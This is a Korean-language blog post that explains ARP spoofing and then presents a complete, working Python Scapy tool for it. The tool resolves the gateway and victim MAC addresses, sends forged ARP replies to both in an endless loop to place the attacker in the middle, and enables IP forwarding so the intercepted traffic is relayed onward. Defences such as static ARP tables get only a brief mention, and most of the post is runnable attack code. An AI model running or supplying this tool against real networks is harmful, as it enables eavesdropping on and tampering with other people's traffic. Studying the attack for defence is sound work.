본문 바로가기
Hack/Network

[Python Scapy] ARP Spoofing 구현

by Becoming a Hacker 2022. 8. 21.
반응형

ARP Spoofing

ARP Spoofing이란 ARP(Address Resolution Protocol)를 이용하여 공격 대상에게 공격자를 Gateway와 같은 다른 대상으로 속여 중간에서 패킷을 가로챔으로써 도청하거나 조작이 가능한 공격 입니다.

ARP Spoofing

 

ARP란 대상 IP를 기반으로 MAC 주소를 획득할 수 있도록 도와주는 역할을 하고 있으며, Layer 2(L2, Data Link layer)에서 통신을 할 때 MAC 주소를 사용하기 때문에 매우 중요한 역할을 담당한다고 볼 수 있습니다.

 

이렇게 중요한 ARP에서 ARP Spoofing 공격이 가능한 이유는 ARP가 설계된 지 오래되었기 때문에 설계 상의 치명적인 문제를 갖고 있기 때문입니다.

 

그것은 바로 자신의 MAC 주소를 알리는 ARP Frame을 무조건적으로 신뢰한다는 점입니다.

 

물론, IP-MAC을 관리하는 Key Server 사용, ARP Table을 정적으로 사용하는 방법과 같은 ARP Spoofing 공격을 막기 위한 여러 방법들이 존재하지만 기본 설정에서는 취약하게 사용이 된다는 점이 중요한 포인트라고 생각합니다.

 

Python을 이용한 ARP Spoofing 구현

Scapy란 네트워크 패킷을 확인하고 전송할 수 있는 기능을 가진 Python Module 입니다.

 

Scapy를 이용하여 ARP Spoofing Tool을 구현해보았습니다.

 

간략 코드 흐름 설명

1. BroadCast를 통한 공격 대상과 Gateway의 MAC 주소를 알아냅니다.

def getMac(ip):
    # sr is send and receive at L3, srp is send and receive at L2
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src
        
gatewayip = "192.168.45.1"
targetip = "192.168.45.236"

gatewaymac = getMac(gatewayip)
targetmac = getMac(targetip)

 

2. 알아낸 정보를 이용하여 공격 대상에게는 공격자가 Gateway인 것처럼 속이고 Gateway에게는 공격자가 공격 대상인 것처럼 속이는 ARP Frame을 전송합니다.

def arpSpoofing(gatewayip, targetip, gatewaymac, targetmac):
    while(True):
        # source ip is gateway and source mac is attacker Mac, destination ip is target ip and destination mac is target mac
        # if op is 1 that is ARP Request, if op is 2 that is ARP Reply
        send(ARP(op=2, psrc=gatewayip, pdst=targetip, hwdst=targetmac), verbose=0)
        send(ARP(op=2, psrc=targetip, pdst=gatewayip, hwdst=gatewaymac), verbose=0)

arpSpoofing(gatewayip, targetip, gatewaymac, targetmac)

 

3. 원래는 공격 대상과 Gateway에게 갈 Packet들이 공격자에게 전송되기 때문에 이를 다시 원래의 목적지로 Forwarding 해야 할 필요가 있는데요. Linux에서는 '/proc/sys/net/ipv4/ip_forward'를 1로 설정함으로써 이를 자동으로 전송하도록 설정할 수 있습니다.

$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward

 

전체 코드

from scapy.all import *

def getMac(ip):
    # sr is send and receive at L3, srp is send and receive at L2
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

def arpSpoofing(gatewayip, targetip, gatewaymac, targetmac):
    while(True):
        # source ip is gateway and source mac is attacker Mac, destination ip is target ip and destination mac is target mac
        # if op is 1 that is ARP Request, if op is 2 that is ARP Reply
        send(ARP(op=2, psrc=gatewayip, pdst=targetip, hwdst=targetmac), verbose=0)
        send(ARP(op=2, psrc=targetip, pdst=gatewayip, hwdst=gatewaymac), verbose=0)

def __init__():
    with open('/proc/sys/net/ipv4/ip_forward') as f:
        if(f.read().find("0")!=-1):
            print("Please Enter the 'sudo echo 1 > /proc/sys/net/ipv4/ip_forward'")
            exit(0)

__init__()

gatewayip = "192.168.45.1"
targetip = "192.168.45.236"

gatewaymac = getMac(gatewayip)
targetmac = getMac(targetip)

arpSpoofing(gatewayip, targetip, gatewaymac, targetmac)

댓글